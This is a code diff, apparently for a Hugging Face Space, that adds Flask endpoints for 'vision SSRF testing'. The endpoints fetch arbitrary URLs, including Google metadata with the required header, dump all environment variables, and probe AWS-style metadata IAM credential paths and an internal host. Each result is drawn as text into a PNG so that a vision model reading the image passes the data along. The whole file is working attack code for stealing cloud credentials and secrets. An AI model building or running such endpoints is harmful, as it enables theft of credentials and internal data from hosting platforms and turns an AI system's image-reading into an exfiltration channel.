Add image generation endpoints for vision SSRF testing

Dockerfile

@@ -1,4 +1,4 @@
 FROM python:3.9-slim
-RUN pip install flask requests
+RUN pip install flask requests Pillow
 COPY app.py /app.py
 CMD ["python", "/app.py"]

app.py

@@ -382,5 +382,132 @@ def selfenv_jsonl():
     except Exception as e:
         return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
 
+# Image proxy - fetches URL, renders response text into a PNG image
+# The vision model will read the text from the image
+from PIL import Image, ImageDraw, ImageFont
+import io
+
+@app.route('/img-proxy.png')
+def img_proxy():
+    """Fetch a URL and render its response as text in an image"""
+    target = request.args.get('url', '')
+    entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
+             'headers': dict(request.headers), 'remote_addr': request.remote_addr}
+    LOG.append(entry)
+
+    if not target:
+        text = "No URL specified"
+    else:
+        try:
+            hdrs = {}
+            if 'metadata.google' in target:
+                hdrs['Metadata-Flavor'] = 'Google'
+            r = requests.get(target, headers=hdrs, timeout=5, verify=False)
+            text = f"URL: {target}\nStatus: {r.status_code}\nHeaders: {dict(r.headers)}\n\nBody:\n{r.text[:3000]}"
+        except Exception as e:
+            text = f"URL: {target}\nError: {str(e)}"
+
+    # Render text into image
+    lines = text.split('\n')
+    img_width = 800
+    line_height = 16
+    img_height = max(200, (len(lines) + 2) * line_height)
+
+    img = Image.new('RGB', (img_width, img_height), color='white')
+    draw = ImageDraw.Draw(img)
+
+    y = 10
+    for line in lines:
+        draw.text((10, y), line[:100], fill='black')
+        y += line_height
+
+    buf = io.BytesIO()
+    img.save(buf, format='PNG')
+    buf.seek(0)
+    return buf.getvalue(), 200, {'Content-Type': 'image/png'}
+
+@app.route('/img-env.png')
+def img_env():
+    """Render Space environment variables as text in an image"""
+    entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
+             'headers': dict(request.headers), 'remote_addr': request.remote_addr}
+    LOG.append(entry)
+
+    text = "Space Environment:\n"
+    for k, v in sorted(os.environ.items()):
+        text += f"{k}={str(v)[:100]}\n"
+
+    lines = text.split('\n')
+    img_width = 800
+    line_height = 16
+    img_height = max(200, (len(lines) + 2) * line_height)
+
+    img = Image.new('RGB', (img_width, img_height), color='white')
+    draw = ImageDraw.Draw(img)
+
+    y = 10
+    for line in lines:
+        draw.text((10, y), line[:100], fill='black')
+        y += line_height
+
+    buf = io.BytesIO()
+    img.save(buf, format='PNG')
+    buf.seek(0)
+    return buf.getvalue(), 200, {'Content-Type': 'image/png'}
+
+@app.route('/img-internal.png')
+def img_internal():
+    """Fetch internal endpoints and render results as image"""
+    entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
+             'headers': dict(request.headers), 'remote_addr': request.remote_addr}
+    LOG.append(entry)
+
+    text = "Internal Network Probe:\n\n"
+    targets = [
+        'http://169.254.169.254/latest/meta-data/',
+        'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
+        'http://10.0.249.125/',
+        'http://10.0.249.125/api/whoami-v2',
+    ]
+    for t in targets:
+        try:
+            r = requests.get(t, timeout=3, verify=False)
+            text += f"[{t}] {r.status_code}: {r.text[:200]}\n"
+        except Exception as e:
+            text += f"[{t}] Error: {str(e)[:100]}\n"
+
+    lines = text.split('\n')
+    img_width = 800
+    line_height = 16
+    img_height = max(200, (len(lines) + 2) * line_height)
+
+    img = Image.new('RGB', (img_width, img_height), color='white')
+    draw = ImageDraw.Draw(img)
+
+    y = 10
+    for line in lines:
+        draw.text((10, y), line[:100], fill='black')
+        y += line_height
+
+    buf = io.BytesIO()
+    img.save(buf, format='PNG')
+    buf.seek(0)
+    return buf.getvalue(), 200, {'Content-Type': 'image/png'}
+
+# Serve a valid small test image
+@app.route('/test.png')
+def test_png():
+    entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
+             'headers': dict(request.headers), 'remote_addr': request.remote_addr}
+    LOG.append(entry)
+    img = Image.new('RGB', (200, 100), color='red')
+    draw = ImageDraw.Draw(img)
+    draw.text((10, 10), "SSRF TEST IMAGE", fill='white')
+    draw.text((10, 30), f"Time: {time.time()}", fill='white')
+    buf = io.BytesIO()
+    img.save(buf, format='PNG')
+    buf.seek(0)
+    return buf.getvalue(), 200, {'Content-Type': 'image/png'}
+
 if __name__ == '__main__':
     app.run(host='0.0.0.0', port=7860)